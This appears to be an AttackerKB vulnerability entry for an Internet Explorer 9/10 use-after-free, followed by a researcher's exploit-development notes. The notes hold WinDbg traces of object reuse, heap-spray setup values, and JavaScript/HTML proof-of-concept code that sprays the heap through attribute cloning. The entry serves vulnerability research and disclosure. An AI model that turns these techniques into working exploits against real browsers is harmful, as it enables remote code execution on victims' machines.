Microsoft Internet Explorer Use-After-Free Vulnerability

2019-05-09T17:57:15
ID AKB:2A826956-B7BF-4556-BC5F-09013506A0D1
Type attackerkb
Reporter AttackerKB
Modified 2020-02-13T17:12:07

Description

Use-after-free vulnerability in Microsoft Internet Explorer 9 and 10 allows remote attackers to execute arbitrary code via vectors involving crafted JavaScript code, CMarkup, and the onpropertychange attribute of a script element, as exploited in the wild in January and February 2014.

Recent assessments:

wchen-r7 at 2019-09-12T18:07:56.567133Z reported:

The crash / corruptions happens at CMarkup::UpdateMarkupContentsVersion:

.text:637C9454 inc dword ptr [eax+10h]

In order to return from CMarkup::UpdateMarkupContentsVersion we can use the next route:

.text:637C9454 inc dword ptr [eax+10h] ; Corruption! .text:637C9457 .text:637C9457 loc_637C9457: ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+14j .text:637C9457 mov ecx, [edx+94h] ; we need to bypass this part, we control edx, so not a big deal .text:637C945D xor eax, eax .text:637C945F test ecx, ecx .text:637C9461 jz short loc_637C9466 .text:637C9463 mov eax, [ecx+0Ch] .text:637C9466 .text:637C9466 loc_637C9466: ; CODE XREF: CMarkup::UpdateMarkupContentsVersion(void)+23j .text:637C9466 cmp dword ptr [eax+1C0h], 0 ; We must make eax+1c0h == 0 (not a big deal via spray) .text:637C946D jz short locret_637C9496 ; So this jz is taken and we return from CMarkup::UpdateMarkupContentsVersion

  • After returning from CMarkup::UpdateMarkupContentsVersion we land into CMarkup::NotifyElementEnterTree:

.text:63776EC8 call ?UpdateMarkupContentsVersion@CMarkup@@QAEXXZ ; it's the call we're using for corruption .text:63776ECD mov eax, [esi+98h] ; esi is the controlled object .text:63776ED3 test eax, eax .text:63776ED5 jz short loc_63776EED .text:63776ED7 cmp dword ptr [esi+1A4h], 15F90h .text:63776EE1 jl short loc_63776EED .text:63776EE3 mov eax, [eax+8] .text:63776EE6 and dword ptr [eax+2F0h], 0FFFFFFBFh ; We need to bypass this and, after that we get the control back :)

Reused object:

0:008> dd 061b90c8 Ld0 061b90c8 deadc0de 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b90f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9108 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9118 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9128 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9138 1a1b1ff0 1a1b1ff0 1a1b1ff1 9a1b1ff1 061b9148 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9158 1a1b1ff0 1a1b2004 1a1b200c 1a1b1ff0 061b9168 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9178 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9188 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9198 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b91f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9208 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9218 1a1b1ff0 1a1b1ff0 1a1b1ff0 42424242 061b9228 1a1b1ff4 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9238 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9248 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9258 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9268 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9278 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9288 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9298 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b92f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9308 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9318 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9328 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9338 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9348 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9358 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9368 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9378 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9388 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b9398 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93a8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93b8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93c8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93d8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93e8 1a1b1ff0 1a1b1ff0 1a1b1ff0 1a1b1ff0 061b93f8 1a1b1ff0 1a1b1ff0 1a1b1ff0 00001ff0

Sprayed memory should look like:

``` 0:008> dd eax+10 1a1b2000 00000001 1a1b203c 00000000 1a1b2098 1a1b2010 1a1b2064 1a1b2068 00000000 00000000 1a1b2020 00000000 00000000 00000000 00000000 1a1b2030 00000000 00000000 00000000 00000000 1a1b2040 00000000 00000000 00000000 00000000 1a1b2050 00000000 00000000 00000000 00000000 1a1b2060 00000000 00000000 00000000 00000000 1a1b2070 00000000 00000000 00000000 00000000

x=1a1b1ff0 ebx=0298eeb8 ecx=00000195 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67ed9457 esp=02efb54c ebp=02efb5b8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19: 67ed9457 8b8a94000000 mov ecx,dword ptr [edx+94h] ds:0023:061b915c=04201b1a 0:008> dd edx + 94 061b915c 1a1b2004

0:008> t eax=00000000 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67ed9463 esp=02efb54c ebp=02efb5b8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x25: 67ed9463 8b410c mov eax,dword ptr [ecx+0Ch] ds:0023:1a1b2010=64201b1a 0:008> dd ecx + 0c 1a1b2010 1a1b2064 1a1b2068 00000000 00000000

1a1b2064 must point to sprayed memory with content "0"

0:008> t eax=1a1b2064 ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67e86ecd esp=02efb550 ebp=02efb5b8 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 MSHTML!CMarkup::NotifyElementEnterTree+0x277: 67e86ecd 8b8698000000 mov eax,dword ptr [esi+98h] ds:0023:061b9160=0c201b1a 0:008> dd esi + 98 061b9160 1a1b200c

0:008> dd 1a1b200c 1a1b200c 1a1b2098 1a1b2064 1a1b2068 00000000 1a1b201c 00000000 00000000 00000000 00000000 1a1b202c 00000000 00000000 00000000 00000000 1a1b203c 00000000 00000000 00000000 00000000 1a1b204c 00000000 00000000 00000000 00000000 1a1b205c 00000000 00000000 00000000 00000000 1a1b206c 00000000 00000000 00000000 00000000 1a1b207c 00000000 00000000 00000000 00000000

0:008> t eax=1a1b200c ebx=0298eeb8 ecx=1a1b2004 edx=061b90c8 esi=061b90c8 edi=0297d568 eip=67e86ee3 esp=02efb550 ebp=02efb5b8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 MSHTML!CMarkup::NotifyElementEnterTree+0x28d: 67e86ee3 8b4008 mov eax,dword ptr [eax+8] ds:0023:1a1b2014=68201b1a 0:008> dd eax+8 1a1b2014 1a1b2068 ```

Simulate an spray with:

.dvalloc /b 1a1b1ff0 4000

THen go to 1a1b2004 and write:

1a1b203c 00000000 1a1b2098 1a1b2064 1a1b2068

After several tries I keep crashing curiously again:

0:008> r eax=00000000 ebx=02f0c028 ecx=1a1b1ff0 edx=04e68ad8 esi=04e68ad8 edi=02f02b00 eip=67ed9466 esp=036bb46c ebp=036bb4d8 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28: 67ed9466 83b8c001000000 cmp dword ptr [eax+1C0h],0 ds:0023:000001c0=???????? 0:008> dd ecx+c 1a1b1ffc 00000000 00000003 1a1b203c 00000000 1a1b200c 1a1b2098 1a1b2064 1a1b2068 00000000

So we're going to try adding to 1a1b1ffc => 1a1b205c => It adds some reliability, but finally crashes again, looks like because finally we don't control the reused memory, someone else won the race :?

.dvalloc /b 1a1b1ff0 4000 f 1a1b1ffc L1C 5C 20 1B 1A 00 00 00 00 3C 20 1B 1A 00 00 00 00 98 20 1B 1A 64 20 1B 1A 68 20 1B 1A

Heap Spray with Attributes

In order to use the technique by vupen disclosed here:

http://www.vupen.com/blog/20120117.Advanced_Exploitation_of_Windows_MS12-004_CVE-2012-0003.php

the cloneNode doesn't work anymore:

var cl0ne = test.cloneNode(true);

It won't clone attribute values, so CAttrValue::Copy isn't hit anymore. In order to solve, after checking the xrefx to CattrValue::Copy there is an interesting new path:

``` CElement::mergeAttributes

Here is PoC:

function test() { var myDiv = document.getElementById("pwn") var test = document.createElement("select") test.setAttribute('obj0', "AAAAAAAAAAAAAAAAAAAA") test.setAttribute('obj1', new Date()) test.setAttribute('obj2', new Date()) test.setAttribute('obj3', "METASPLOIT") alert(test.attributes.length); alert(test.getAttribute('obj0')); var cl0ne = test.cloneNode(true); cl0ne.mergeAttributes(test); } ```

Spraying with Attributes, definite version:

``` <html> <head>

<script> function myTest() {

var test = document.createElement("select")
for (var j = 0; j &lt; 0x80; j++) {
    test.setAttribute('test' + j, unescape("%u0001"))
}

var empty = document.createElement("select")

alert('oka, bp copy......')
var myAttributes = new Array();
for (var i = 0; i &lt; 0x20; i++) {
    myAttributes[i] = empty.cloneNode(true);
    myAttributes[i].mergeAttributes(test);
}


alert('oka, check what is there in memory...')
alert(myAttributes[0].getAttribute('test0').length);

//alert(myAttributes[0].test0.length);
//alert(cl0ne.attributes.length);

} </script> </head> <body onload="myTest();"> </body> </html> ```

It will spray 0x800 size structs (with the Variant types and the pointers to strings!)